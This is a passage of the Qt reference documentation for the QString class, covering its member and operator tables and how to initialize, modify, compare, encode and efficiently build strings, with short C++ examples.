|  bool  | **[operator<=](qstring#operator-lt-eq-9)**(const char \**other*) const |
|  bool  | **[operator<=](qstring#operator-lt-eq-10)**(const QByteArray &*other*) const |
|  QString & | **[operator=](qstring#operator-eq-1)**(QChar *ch*) |
|  QString & | **[operator=](qstring#operator-eq-2)**(QLatin1String *str*) |
|  QString & | **[operator=](qstring#operator-eq-4)**(const char \**str*) |
|  bool  | **[operator==](qstring#operator-eq-eq-9)**(const char \**other*) const |
|  bool  | **[operator==](qstring#operator-eq-eq-10)**(const QByteArray &*other*) const |
|  bool  | **[operator>](qstring#operator-gt-9)**(const char \**other*) const |
|  bool  | **[operator>](qstring#operator-gt-10)**(const QByteArray &*other*) const |
|  bool  | **[operator>=](qstring#operator-gt-eq-9)**(const char \**other*) const |
|  bool  | **[operator>=](qstring#operator-gt-eq-10)**(const QByteArray &*other*) const |
|  QChar & | **[operator[]](qstring#operator-5b-5d)**(qsizetype *position*) |
|  const QChar  | **[operator[]](qstring#operator-5b-5d-1)**(qsizetype *position*) const |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QString  | **[asprintf](qstring#asprintf)**(const char \**cformat*, ...) |
|  int  | **[compare](qstring#compare)**(const QString &*s1*, const QString &*s2*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  int  | **[compare](qstring#compare-5)**(const QString &*s1*, QLatin1String *s2*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  int  | **[compare](qstring#compare-6)**(QLatin1String *s1*, const QString &*s2*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  int  | **[compare](qstring#compare-7)**(const QString &*s1*, QStringView *s2*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  int  | **[compare](qstring#compare-8)**(QStringView *s1*, const QString &*s2*, Qt::CaseSensitivity *cs* = Qt::CaseSensitive) |
|  QString  | **[fromCFString](qstring#fromCFString)**(CFStringRef *string*) |
|  QString  | **[fromLatin1](qstring#fromLatin1)**(const char \**str*, qsizetype *size*) |
|  QString  | **[fromLatin1](qstring#fromLatin1-1)**(QByteArrayView *str*) |
|  QString  | **[fromLatin1](qstring#fromLatin1-2)**(const QByteArray &*str*) |
|  QString  | **[fromLocal8Bit](qstring#fromLocal8Bit)**(const char \**str*, qsizetype *size*) |
|  QString  | **[fromLocal8Bit](qstring#fromLocal8Bit-1)**(QByteArrayView *str*) |
|  QString  | **[fromLocal8Bit](qstring#fromLocal8Bit-2)**(const QByteArray &*str*) |
|  QString  | **[fromNSString](qstring#fromNSString)**(const NSString \**string*) |
|  QString  | **[fromRawData](qstring#fromRawData)**(const QChar \**unicode*, qsizetype *size*) |
|  QString  | **[fromStdString](qstring#fromStdString)**(const std::string &*str*) |
|  QString  | **[fromStdU16String](qstring#fromStdU16String)**(const std::u16string &*str*) |
|  QString  | **[fromStdU32String](qstring#fromStdU32String)**(const std::u32string &*str*) |
|  QString  | **[fromStdWString](qstring#fromStdWString)**(const std::wstring &*str*) |
|  QString  | **[fromUcs4](qstring#fromUcs4)**(const char32\_t \**unicode*, qsizetype *size* = -1) |
|  QString  | **[fromUtf8](qstring#fromUtf8)**(const char \**str*, qsizetype *size*) |
|  QString  | **[fromUtf8](qstring#fromUtf8-1)**(QByteArrayView *str*) |
|  QString  | **[fromUtf8](qstring#fromUtf8-2)**(const QByteArray &*str*) |
|  QString  | **[fromUtf8](qstring#fromUtf8-3)**(const char8\_t \**str*) |
|  QString  | **[fromUtf8](qstring#fromUtf8-4)**(const char8\_t \**str*, qsizetype *size*) |
|  QString  | **[fromUtf16](qstring#fromUtf16)**(const char16\_t \**unicode*, qsizetype *size* = -1) |
|  QString  | **[fromWCharArray](qstring#fromWCharArray)**(const wchar\_t \**string*, qsizetype *size* = -1) |
|  int  | **[localeAwareCompare](qstring#localeAwareCompare)**(const QString &*s1*, const QString &*s2*) |
|  int  | **[localeAwareCompare](qstring#localeAwareCompare-3)**(QStringView *s1*, QStringView *s2*) |
|  QString  | **[number](qstring#number)**(long *n*, int *base* = 10) |
|  QString  | **[number](qstring#number-1)**(int *n*, int *base* = 10) |
|  QString  | **[number](qstring#number-2)**(uint *n*, int *base* = 10) |
|  QString  | **[number](qstring#number-3)**(ulong *n*, int *base* = 10) |
|  QString  | **[number](qstring#number-4)**(qlonglong *n*, int *base* = 10) |
|  QString  | **[number](qstring#number-5)**(qulonglong *n*, int *base* = 10) |
|  QString  | **[number](qstring#number-6)**(double *n*, char *format* = 'g', int *precision* = 6) |
|  QString  | **[vasprintf](qstring#vasprintf)**(const char \**cformat*, va\_list *ap*) |

 Related Non-Members
-------------------

 

|  |  |
| --- | --- |
|  qsizetype  | **[erase](qstring#erase-1)**(QString &*s*, const T &*t*) |
|  qsizetype  | **[erase\_if](qstring#erase_if)**(QString &*s*, Predicate *pred*) |
|  bool  | **[operator!=](qstring#operator-not-eq)**(const QString &*s1*, const QString &*s2*) |
|  bool  | **[operator!=](qstring#operator-not-eq-1)**(const QString &*s1*, QLatin1String *s2*) |
|  bool  | **[operator!=](qstring#operator-not-eq-11)**(const char \**s1*, const QString &*s2*) |
|  QString  | **[operator""\_qs](qstring#operator-22-22_qs)**(const char16\_t \**str*, size\_t *size*) |
|  const QString  | **[operator+](qstring#operator-2b)**(const QString &*s1*, const QString &*s2*) |
|  const QString  | **[operator+](qstring#operator-2b-1)**(const QString &*s1*, const char \**s2*) |
|  const QString  | **[operator+](qstring#operator-2b-2)**(const char \**s1*, const QString &*s2*) |
|  bool  | **[operator<](qstring#operator-lt-1)**(const QString &*s1*, const QString &*s2*) |
|  bool  | **[operator<](qstring#operator-lt-2)**(const QString &*s1*, QLatin1String *s2*) |
|  bool  | **[operator<](qstring#operator-lt-3)**(QLatin1String *s1*, const QString &*s2*) |
|  bool  | **[operator<](qstring#operator-lt-11)**(const char \**s1*, const QString &*s2*) |
|  QDataStream & | **[operator<<](qstring#operator-lt-lt)**(QDataStream &*stream*, const QString &*string*) |
|  bool  | **[operator<=](qstring#operator-lt-eq)**(const QString &*s1*, const QString &*s2*) |
|  bool  | **[operator<=](qstring#operator-lt-eq-1)**(const QString &*s1*, QLatin1String *s2*) |
|  bool  | **[operator<=](qstring#operator-lt-eq-2)**(QLatin1String *s1*, const QString &*s2*) |
|  bool  | **[operator<=](qstring#operator-lt-eq-11)**(const char \**s1*, const QString &*s2*) |
|  bool  | **[operator==](qstring#operator-eq-eq-1)**(const QString &*s1*, const QString &*s2*) |
|  bool  | **[operator==](qstring#operator-eq-eq-2)**(const QString &*s1*, QLatin1String *s2*) |
|  bool  | **[operator==](qstring#operator-eq-eq-3)**(QLatin1String *s1*, const QString &*s2*) |
|  bool  | **[operator==](qstring#operator-eq-eq-11)**(const char \**s1*, const QString &*s2*) |
|  bool  | **[operator>](qstring#operator-gt)**(const QString &*s1*, const QString &*s2*) |
|  bool  | **[operator>](qstring#operator-gt-1)**(const QString &*s1*, QLatin1String *s2*) |
|  bool  | **[operator>](qstring#operator-gt-2)**(QLatin1String *s1*, const QString &*s2*) |
|  bool  | **[operator>](qstring#operator-gt-11)**(const char \**s1*, const QString &*s2*) |
|  bool  | **[operator>=](qstring#operator-gt-eq)**(const QString &*s1*, const QString &*s2*) |
|  bool  | **[operator>=](qstring#operator-gt-eq-1)**(const QString &*s1*, QLatin1String *s2*) |
|  bool  | **[operator>=](qstring#operator-gt-eq-2)**(QLatin1String *s1*, const QString &*s2*) |
|  bool  | **[operator>=](qstring#operator-gt-eq-11)**(const char \**s1*, const QString &*s2*) |
|  QDataStream & | **[operator>>](qstring#operator-gt-gt)**(QDataStream &*stream*, QString &*string*) |

 Macros
------

 

|  |  |
| --- | --- |
|  | **[QStringLiteral](qstring#QStringLiteral)**(*str*) |
|  | **[QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII)** |
|  | **[QT\_NO\_CAST\_TO\_ASCII](qstring#QT_NO_CAST_TO_ASCII)** |
|  | **[QT\_RESTRICTED\_CAST\_FROM\_ASCII](qstring#QT_RESTRICTED_CAST_FROM_ASCII)** |

 Detailed Description
--------------------

 QString stores a string of 16-bit [QChar](qchar)s, where each [QChar](qchar) corresponds to one UTF-16 code unit. (Unicode characters with code values above 65535 are stored using surrogate pairs, i.e., two consecutive [QChar](qchar)s.)

 [Unicode](12-0-qdoc-commands-miscellaneous#unicode) is an international standard that supports most of the writing systems in use today. It is a superset of US-ASCII (ANSI X3.4-1986) and Latin-1 (ISO 8859-1), and all the US-ASCII/Latin-1 characters are available at the same code positions.

 Behind the scenes, QString uses [implicit sharing](implicit-sharing) (copy-on-write) to reduce memory usage and to avoid the needless copying of data. This also helps reduce the inherent overhead of storing 16-bit characters instead of 8-bit characters.

 In addition to QString, Qt also provides the [QByteArray](qbytearray) class to store raw bytes and traditional 8-bit '\0'-terminated strings. For most purposes, QString is the class you want to use. It is used throughout the Qt API, and the Unicode support ensures that your applications will be easy to translate if you want to expand your application's market at some point. The two main cases where [QByteArray](qbytearray) is appropriate are when you need to store raw binary data, and when memory conservation is critical (like in embedded systems).

 ### Initializing a String

 One way to initialize a QString is simply to pass a `const char *` to its constructor. For example, the following code creates a QString of size 5 containing the data "Hello":

 
```
QString str = "Hello";
```
 QString converts the `const char *` data into Unicode using the [fromUtf8](qstring#fromUtf8)() function.

 In all of the QString functions that take `const char *` parameters, the `const char *` is interpreted as a classic C-style '\0'-terminated string encoded in UTF-8. It is legal for the `const char *` parameter to be `nullptr`.

 You can also provide string data as an array of [QChar](qchar)s:

 
```
static const QChar data[4] = { 0x0055, 0x006e, 0x10e3, 0x03a3 };
QString str(data, 4);
```
 QString makes a deep copy of the [QChar](qchar) data, so you can modify it later without experiencing side effects. (If for performance reasons you don't want to take a deep copy of the character data, use [QString::fromRawData](qstring#fromRawData)() instead.)

 Another approach is to set the size of the string using [resize](qstring#resize)() and to initialize the data character per character. QString uses 0-based indexes, just like C++ arrays. To access the character at a particular index position, you can use [operator[]](qstring#operator-5b-5d)(). On non-`const` strings, [operator[]](qstring#operator-5b-5d)() returns a reference to a character that can be used on the left side of an assignment. For example:

 
```
QString str;
str.resize(4);

str[0] = QChar('U');
str[1] = QChar('n');
str[2] = QChar(0x10e3);
str[3] = QChar(0x03a3);
```
 For read-only access, an alternative syntax is to use the [at](qstring#at)() function:

 
```
QString str;

for (qsizetype i = 0; i < str.size(); ++i) {
    if (str.at(i) >= QChar('a') && str.at(i) <= QChar('f'))
        qDebug() << "Found character in range [a-f]";
}
```
 The [at](qstring#at)() function can be faster than [operator[]](qstring#operator-5b-5d)(), because it never causes a [deep copy](implicit-sharing#deep-copy) to occur. Alternatively, use the [first](qstring#first)(), [last](qstring#last)(), or [sliced](qstring#sliced)() functions to extract several characters at a time.

 A QString can embed '\0' characters ([QChar::Null](qchar#SpecialCharacter-enum)). The [size](qstring#size)() function always returns the size of the whole string, including embedded '\0' characters.

 After a call to the [resize](qstring#resize)() function, newly allocated characters have undefined values. To set all the characters in the string to a particular value, use the [fill](qstring#fill)() function.

 QString provides dozens of overloads designed to simplify string usage. For example, if you want to compare a QString with a string literal, you can write code like this and it will work as expected:

 
```
QString str;

if (str == "auto" || str == "extern"
        || str == "static" || str == "register") {
    // ...
}
```
 You can also pass string literals to functions that take QStrings as arguments, invoking the QString(const char \*) constructor. Similarly, you can pass a QString to a function that takes a `const char *` argument using the [qPrintable](qtglobal#qPrintable)() macro which returns the given QString as a `const char *`. This is equivalent to calling <QString>.[toLocal8Bit](qstring#toLocal8Bit)().[constData](qstring#constData)().

 ### Manipulating String Data

 QString provides the following basic functions for modifying the character data: [append](qstring#append)(), [prepend](qstring#prepend)(), [insert](qstring#insert)(), [replace](qstring#replace)(), and [remove](qstring#remove)(). For example:

 
```
QString str = "and";
str.prepend("rock ");     // str == "rock and"
str.append(" roll");        // str == "rock and roll"
str.replace(5, 3, "&");   // str == "rock & roll"
```
 In the above example the [replace](qstring#replace)() function's first two arguments are the position from which to start replacing and the number of characters that should be replaced.

 When data-modifying functions increase the size of the string, they may lead to reallocation of memory for the QString object. When this happens, QString expands by more than it immediately needs so as to have space for further expansion without reallocation until the size of the string has greatly increased.

 The [insert](qstring#insert)(), [remove](qstring#remove)() and, when replacing a sub-string with one of different size, [replace](qstring#replace)() functions can be slow ([linear time](containers#linear-time)) for large strings, because they require moving many characters in the string by at least one position in memory.

 If you are building a QString gradually and know in advance approximately how many characters the QString will contain, you can call [reserve](qstring#reserve)(), asking QString to preallocate a certain amount of memory. You can also call [capacity](qstring#capacity)() to find out how much memory the QString actually has allocated.

 QString provides [STL-style iterators](containers#stl-style-iterators) ([QString::const\_iterator](qstring#const_iterator-typedef) and [QString::iterator](qstring#iterator-typedefx)). In practice, iterators are handy when working with generic algorithms provided by the C++ standard library.

  **Note:** Iterators over a QString, and references to individual characters within one, cannot be relied on to remain valid when any non-`const` method of the QString is called. Accessing such an iterator or reference after the call to a non-`const` method leads to undefined behavior. When stability for iterator-like functionality is required, you should use indexes instead of iterators as they are not tied to QString's internal state and thus do not get invalidated.

   **Note:** Due to [implicit sharing](implicit-sharing), the first non-`const` operator or function used on a given QString may cause it to, internally, perform a deep copy of its data. This invalidates all iterators over the string and references to individual characters within it. After the first non-`const` operator, operations that modify QString may completely (in case of reallocation) or partially invalidate iterators and references, but other methods (such as [begin](qstring#begin)() or [end](qstring#end)()) will not. Accessing an iterator or reference after it has been invalidated leads to undefined behavior.

  A frequent requirement is to remove whitespace characters from a string ('\n', '\t', ' ', etc.). If you want to remove whitespace from both ends of a QString, use the [trimmed](qstring#trimmed)() function. If you want to remove whitespace from both ends and replace multiple consecutive whitespaces with a single space character within the string, use [simplified](qstring#simplified)().

 If you want to find all occurrences of a particular character or substring in a QString, use the [indexOf](qstring#indexOf)() or [lastIndexOf](qstring#lastIndexOf)() functions. The former searches forward starting from a given index position, the latter searches backward. Both return the index position of the character or substring if they find it; otherwise, they return -1. For example, here is a typical loop that finds all occurrences of a particular substring:

 
```
QString str = "We must be <b>bold</b>, very <b>bold</b>";
qsizetype j = 0;

while ((j = str.indexOf("<b>", j)) != -1) {
    qDebug() << "Found <b> tag at index position" << j;
    ++j;
}
```
 QString provides many functions for converting numbers into strings and strings into numbers. See the [arg](qstring#arg)() functions, the [setNum](qstring#setNum)() functions, the [number](qstring#number)() static functions, and the [toInt](qstring#toInt)(), [toDouble](qstring#toDouble)(), and similar functions.

 To get an upper- or lowercase version of a string use [toUpper](qstring#toUpper)() or [toLower](qstring#toLower)().

 Lists of strings are handled by the [QStringList](qstringlist) class. You can split a string into a list of strings using the [split](qstring#split)() function, and join a list of strings into a single string with an optional separator using [QStringList::join](qstringlist#join)(). You can obtain a list of strings from a string list that contain a particular substring or that match a particular [QRegularExpression](qregularexpression) using the [QStringList::filter](qstringlist#filter)() function.

 ### Querying String Data

 If you want to see if a QString starts or ends with a particular substring use [startsWith](qstring#startsWith)() or [endsWith](qstring#endsWith)(). If you simply want to check whether a QString contains a particular character or substring, use the [contains](qstring#contains)() function. If you want to find out how many times a particular character or substring occurs in the string, use [count](qstring#count-1)().

 To obtain a pointer to the actual character data, call [data](qstring#data)() or [constData](qstring#constData)(). These functions return a pointer to the beginning of the [QChar](qchar) data. The pointer is guaranteed to remain valid until a non-`const` function is called on the QString.

 #### Comparing Strings

 QStrings can be compared using overloaded operators such as [operator<](qstring#operator-lt-1)(), [operator<=](qstring#operator-lt-eq)(), [operator==](qstring#operator-eq-eq-1)(), [operator>=](qstring#operator-gt-eq)(), and so on. Note that the comparison is based exclusively on the numeric Unicode values of the characters. It is very fast, but is not what a human would expect; the [QString::localeAwareCompare](qstring#localeAwareCompare)() function is usually a better choice for sorting user-interface strings, when such a comparison is available.

 On Unix-like platforms (including Linux, macOS and iOS), when Qt is linked with the ICU library (which it usually is), its locale-aware sorting is used. Otherwise, on macOS and iOS, [localeAwareCompare](qstring#localeAwareCompare)() compares according the "Order for sorted lists" setting in the International preferences panel. On other Unix-like systems without ICU, the comparison falls back to the system library's `strcoll()`,

 ### Converting Between Encoded Strings Data and QString

 QString provides the following three functions that return a `const char *` version of the string as [QByteArray](qbytearray): [toUtf8](qstring#toUtf8)(), [toLatin1](qstring#toLatin1)(), and [toLocal8Bit](qstring#toLocal8Bit)().

 * [toLatin1](qstring#toLatin1)() returns a Latin-1 (ISO 8859-1) encoded 8-bit string.
* [toUtf8](qstring#toUtf8)() returns a UTF-8 encoded 8-bit string. UTF-8 is a superset of US-ASCII (ANSI X3.4-1986) that supports the entire Unicode character set through multibyte sequences.
* [toLocal8Bit](qstring#toLocal8Bit)() returns an 8-bit string using the system's local encoding. This is the same as [toUtf8](qstring#toUtf8)() on Unix systems.

 To convert from one of these encodings, QString provides [fromLatin1](qstring#fromLatin1)(), [fromUtf8](qstring#fromUtf8)(), and [fromLocal8Bit](qstring#fromLocal8Bit)(). Other encodings are supported through the [QStringEncoder](qstringencoder) and [QStringDecoder](qstringdecoder) classes.

 As mentioned above, QString provides a lot of functions and operators that make it easy to interoperate with `const char *` strings. But this functionality is a double-edged sword: It makes QString more convenient to use if all strings are US-ASCII or Latin-1, but there is always the risk that an implicit conversion from or to `const char *` is done using the wrong 8-bit encoding. To minimize these risks, you can turn off these implicit conversions by defining some of the following preprocessor symbols:

 * [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) disables automatic conversions from C string literals and pointers to Unicode.
* [QT\_RESTRICTED\_CAST\_FROM\_ASCII](qstring#QT_RESTRICTED_CAST_FROM_ASCII) allows automatic conversions from C characters and character arrays, but disables automatic conversions from character pointers to Unicode.
* [QT\_NO\_CAST\_TO\_ASCII](qstring#QT_NO_CAST_TO_ASCII) disables automatic conversion from QString to C strings.

 You then need to explicitly call [fromUtf8](qstring#fromUtf8)(), [fromLatin1](qstring#fromLatin1)(), or [fromLocal8Bit](qstring#fromLocal8Bit)() to construct a QString from an 8-bit string, or use the lightweight [QLatin1String](qlatin1string) class, for example:

 
```
QString url = QLatin1String("https://www.unicode.org/");
```
 Similarly, you must call [toLatin1](qstring#toLatin1)(), [toUtf8](qstring#toUtf8)(), or [toLocal8Bit](qstring#toLocal8Bit)() explicitly to convert the QString to an 8-bit string.

 

| Note for C Programmers |
| --- |
| Due to C++'s type system and the fact that QString is [implicitly shared](implicit-sharing), QStrings may be treated like `int`s or other basic types. For example:
```
QString Widget::boolToString(bool b)
{
    QString result;
    if (b)
        result = "True";
    else
        result = "False";
    return result;
}
```
 The `result` variable, is a normal variable allocated on the stack. When `return` is called, and because we're returning by value, the copy constructor is called and a copy of the string is returned. No actual copying takes place thanks to the implicit sharing. |

 ### Distinction Between Null and Empty Strings

 For historical reasons, QString distinguishes between a null string and an empty string. A *null* string is a string that is initialized using QString's default constructor or by passing (`const char *`)0 to the constructor. An *empty* string is any string with size 0. A null string is always empty, but an empty string isn't necessarily null:

 
```
QString().isNull();               // returns true
QString().isEmpty();              // returns true

QString("").isNull();             // returns false
QString("").isEmpty();            // returns true

QString("abc").isNull();          // returns false
QString("abc").isEmpty();         // returns false
```
 All functions except [isNull](qstring#isNull)() treat null strings the same as empty strings. For example, [toUtf8](qstring#toUtf8)().[constData](qstring#constData)() returns a valid pointer (*not* nullptr) to a '\0' character for a null string. We recommend that you always use the [isEmpty](qstring#isEmpty)() function and avoid [isNull](qstring#isNull)().

 ### Number Formats

 When a [QString::arg](qstring#arg)() `'%'` format specifier includes the `'L'` locale qualifier, and the base is ten (its default), the default locale is used. This can be set using [QLocale::setDefault](qlocale#setDefault)(). For more refined control of localized string representations of numbers, see [QLocale::toString](qlocale#toString)(). All other number formatting done by QString follows the C locale's representation of numbers.

 When [QString::arg](qstring#arg)() applies left-padding to numbers, the fill character `'0'` is treated specially. If the number is negative, its minus sign will appear before the zero-padding. If the field is localized, the locale-appropriate zero character is used in place of `'0'`. For floating-point numbers, this special treatment only applies if the number is finite.

 #### Floating-point Formats

 In member functions (e.g., [arg](qstring#arg)(), [number](qstring#number)()) that represent floating-point numbers (`float` or `double`) as strings, the form of display can be controlled by a choice of *format* and *precision*, whose meanings are as for [QLocale::toString](qlocale#toString-8)(double, char, int).

 If the selected *format* includes an exponent, localized forms follow the locale's convention on digits in the exponent. For non-localized formatting, the exponent shows its sign and includes at least two digits, left-padding with zero if needed.

 ### More Efficient String Construction

 Many strings are known at compile time. But the trivial constructor QString("Hello"), will copy the contents of the string, treating the contents as Latin-1. To avoid this one can use the [QStringLiteral](qstring#QStringLiteral) macro to directly create the required data at compile time. Constructing a QString out of the literal does then not cause any overhead at runtime.

 A slightly less efficient way is to use [QLatin1String](qlatin1string). This class wraps a C string literal, precalculates it length at compile time and can then be used for faster comparison with QStrings and conversion to QStrings than a regular C string literal.

 Using the QString `'+'` operator, it is easy to construct a complex string from multiple substrings. You will often write code like this:

 
```
    QString foo;
    QString type = "long";

    foo = QLatin1String("vector<") + type + QLatin1String(">::iterator");

    if (foo.startsWith("(" + type + ") 0x"))
        ...
```
 There is nothing wrong with either of these string constructions, but there are a few hidden inefficiencies. Beginning with Qt 4.6, you can eliminate them.

 First, multiple uses of the `'+'` operator usually means multiple memory allocations. When concatenating *n* substrings, where *n > 2*, there can be as many as *n - 1* calls to the memory allocator.

 In 4.6, an internal template class `QStringBuilder` has been added along with a few helper functions. This class is marked internal and does not appear in the documentation, because you aren't meant to instantiate it in your code. Its use will be automatic, as described below. The class is found in `src/corelib/tools/qstringbuilder.cpp` if you want to have a look at it.

 `QStringBuilder` uses expression templates and reimplements the `'%'` operator so that when you use `'%'` for string concatenation instead of `'+'`, multiple substring concatenations will be postponed until the final result is about to be assigned to a QString. At this point, the amount of memory required for the final result is known. The memory allocator is then called *once* to get the required space, and the substrings are copied into it one by one.

 Additional efficiency is gained by inlining and reduced reference counting (the QString created from a `QStringBuilder` typically has a ref count of 1, whereas [QString::append](qstring#append)() needs an extra test).

 There are two ways you can access this improved method of string construction. The straightforward way is to include `QStringBuilder` wherever you want to use it, and use the `'%'` operator instead of `'+'` when concatenating strings:

 
```
    #include <QStringBuilder>

    QString hello("hello");
    QStringView el = QStringView{ hello }.mid(2, 3);
    QLatin1String world("world");
    QString message =  hello % el % world % QChar('!');
```
 A more global approach which is the most convenient but not entirely source compatible, is to this define in your .pro file:

 
```
    DEFINES *= QT_USE_QSTRINGBUILDER
```
 and the `'+'` will automatically be performed as the `QStringBuilder` `'%'` everywhere.

 ### Maximum Size and Out-of-memory Conditions

 The maximum size of QString depends on the architecture. Most 64-bit systems can allocate more than 2 GB of memory, with a typical limit of 2^63 bytes. The actual value also depends on the overhead required for managing the data block. As a result, you can expect the maximum size of 2 GB minus overhead on 32-bit platforms, and 2^63 bytes minus overhead on 64-bit platforms. The number of elements that can be stored in a QString is this maximum size divided by the size of [QChar](qchar).

 When memory allocation fails, QString throws a `std::bad_alloc` exception if the application was compiled with exception support. Out of memory conditions in Qt containers are the only case where Qt will throw exceptions. If exceptions are disabled, then running out of memory is undefined behavior.

 Note that the operating system may impose further limits on applications holding a lot of allocated memory, especially large, contiguous blocks. Such considerations, the configuration of such behavior or any mitigation are outside the scope of the Qt API.

 **See also** [fromRawData](qstring#fromRawData)(), [QChar](qchar), [QStringView](qstringview), [QLatin1String](qlatin1string), and [QByteArray](qbytearray).

 Member Type Documentation
-------------------------

 ### QString::ConstIterator

 Qt-style synonym for [QString::const\_iterator](qstring#const_iterator-typedef).

 ### QString::Iterator

 Qt-style synonym for [QString::iterator](qstring#iterator-typedefx).

 ### enum QString::NormalizationForm

 This enum describes the various normalized forms of Unicode text.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QString::NormalizationForm_D` | `0` | Canonical Decomposition |
| `QString::NormalizationForm_C` | `1` | Canonical Decomposition followed by Canonical Composition |
| `QString::NormalizationForm_KD` | `2` | Compatibility Decomposition |
| `QString::NormalizationForm_KC` | `3` | Compatibility Decomposition followed by Canonical Composition |

 **See also** [normalized](qstring#normalized)() and [Unicode Standard Annex #15](https://www.unicode.org/reports/tr15/).

 ### enum QString::SectionFlagflags QString::SectionFlags

 This enum specifies flags that can be used to affect various aspects of the [section](qstring#section)() function's behavior with respect to separators and empty fields.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QString::SectionDefault` | `0x00` | Empty fields are counted, leading and trailing separators are not included, and the separator is compared case sensitively. |
| `QString::SectionSkipEmpty` | `0x01` | Treat empty fields as if they don't exist, i.e. they are not considered as far as *start* and *end* are concerned. |
| `QString::SectionIncludeLeadingSep` | `0x02` | Include the leading separator (if any) in the result string. |
| `QString::SectionIncludeTrailingSep` | `0x04` | Include the trailing separator (if any) in the result string. |
| `QString::SectionCaseInsensitiveSeps` | `0x08` | Compare the separator case-insensitively. |

 The SectionFlags type is a typedef for [QFlags](qflags)<SectionFlag>. It stores an OR combination of SectionFlag values.

 **See also** [section](qstring#section)().

 ### QString::const\_iterator

 **See also** [QString::iterator](qstring#iterator-typedefx).

 ### QString::const\_pointer

 The QString::const\_pointer typedef provides an STL-style const pointer to a [QString](qstring) element ([QChar](qchar)).

 ### QString::const\_reference

 ### 
`[since 5.6]` QString::const\_reverse\_iterator

 This typedef was introduced in Qt 5.6.

 **See also** [QString::reverse\_iterator](qstring#reverse_iterator-typedef) and [QString::const\_iterator](qstring#const_iterator-typedef).

 ### QString::difference\_type

 ### QString::iterator

 **See also** [QString::const\_iterator](qstring#const_iterator-typedef).

 ### QString::pointer

 The QString::pointer typedef provides an STL-style pointer to a [QString](qstring) element ([QChar](qchar)).

 ### QString::reference

 ### 
`[since 5.6]` QString::reverse\_iterator

 This typedef was introduced in Qt 5.6.

 **See also** [QString::const\_reverse\_iterator](qstring#const_reverse_iterator-typedef) and [QString::iterator](qstring#iterator-typedefx).

 ### QString::size\_type

 ### QString::value\_type

 Member Function Documentation
-----------------------------

  ### 
`[since 6.0]` template <typename Needle, typename Flags> decltype([qTokenize](qstringtokenizer#qTokenize)(std::move(\*this), std::forward<Needle>(needle), flags...)) QString::tokenize(Needle &&*sep*, Flags... *flags*) &&


### 
`[since 6.0]` template <typename Needle, typename Flags> decltype([qTokenize](qstringtokenizer#qTokenize)(\*this, std::forward<Needle>(needle), flags...)) QString::tokenize(Needle &&*sep*, Flags... *flags*) const &


### 
`[since 6.0]` template <typename Needle, typename Flags> decltype([qTokenize](qstringtokenizer#qTokenize)(\*this, std::forward<Needle>(needle), flags...)) QString::tokenize(Needle &&*sep*, Flags... *flags*) const &


 Splits the string into substring views wherever *sep* occurs, and returns a lazy sequence of those strings.

 Equivalent to

 
```
return QStringTokenizer{std::forward<Needle>(sep), flags...};
```
 except it works without C++17 Class Template Argument Deduction (CTAD) enabled in the compiler.

 See [QStringTokenizer](qstringtokenizer) for how *sep* and *flags* interact to form the result.

  **Note:** While this function returns [QStringTokenizer](qstringtokenizer), you should never, ever, name its template arguments explicitly. If you can use C++17 Class Template Argument Deduction (CTAD), you may write

  
```
QStringTokenizer result = sv.tokenize(sep);
```
 (without template arguments). If you can't use C++17 CTAD, you must store the return value only in `auto` variables:

 
```
auto result = sv.tokenize(sep);
```
 This is because the template arguments of [QStringTokenizer](qstringtokenizer) have a very subtle dependency on the specific [tokenize](qstring#tokenize)() overload from which they are returned, and they don't usually correspond to the type used for the separator.

 This function was introduced in Qt 6.0.

 **See also** [QStringTokenizer](qstringtokenizer) and [qTokenize](qstringtokenizer#qTokenize)().

 ### 
`[since 5.14]` template <typename Args> [QString](qstring#QString) QString::arg(Args &&... *args*) const

 Replaces occurrences of `%N` in this string with the corresponding argument from *args*. The arguments are not positional: the first of the *args* replaces the `%N` with the lowest `N` (all of them), the second of the *args* the `%N` with the next-lowest `N` etc.

 `Args` can consist of anything that implicitly converts to [QString](qstring), [QStringView](qstringview) or [QLatin1String](qlatin1string).

 In addition, the following types are also supported: [QChar](qchar), [QLatin1Char](qlatin1char).

 This function was introduced in Qt 5.14.

 **See also** [QString::arg](qstring#arg)().

 ### QString::QString(const [QByteArray](qbytearray) &*ba*)

 Constructs a string initialized with the byte array *ba*. The given byte array is converted to Unicode using [fromUtf8](qstring#fromUtf8)(). Stops copying at the first 0 character, otherwise copies the entire byte array.

 You can disable this constructor by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 **See also** [fromLatin1](qstring#fromLatin1)(), [fromLocal8Bit](qstring#fromLocal8Bit)(), and [fromUtf8](qstring#fromUtf8)().

 ### QString::QString(const char \**str*)

 Constructs a string initialized with the 8-bit string *str*. The given const char pointer is converted to Unicode using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this constructor by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

  **Note:** Defining [QT\_RESTRICTED\_CAST\_FROM\_ASCII](qstring#QT_RESTRICTED_CAST_FROM_ASCII) also disables this constructor, but enables a `QString(const char (&ch)[N])` constructor instead. Using non-literal input, or input with embedded NUL characters, or non-7-bit characters is undefined in this case.

  **See also** [fromLatin1](qstring#fromLatin1)(), [fromLocal8Bit](qstring#fromLocal8Bit)(), and [fromUtf8](qstring#fromUtf8)().

 ### 
`[since 5.2]` QString::QString([QString](qstring#QString) &&*other*)

 Move-constructs a QString instance, making it point at the same object that *other* was pointing to.

 This function was introduced in Qt 5.2.

 ### QString::QString(const [QString](qstring#QString) &*other*)

 Constructs a copy of *other*.

 This operation takes [constant time](containers#constant-time), because QString is [implicitly shared](implicit-sharing). This makes returning a QString from a function very fast. If a shared instance is modified, it will be copied (copy-on-write), and that takes [linear time](containers#linear-time).

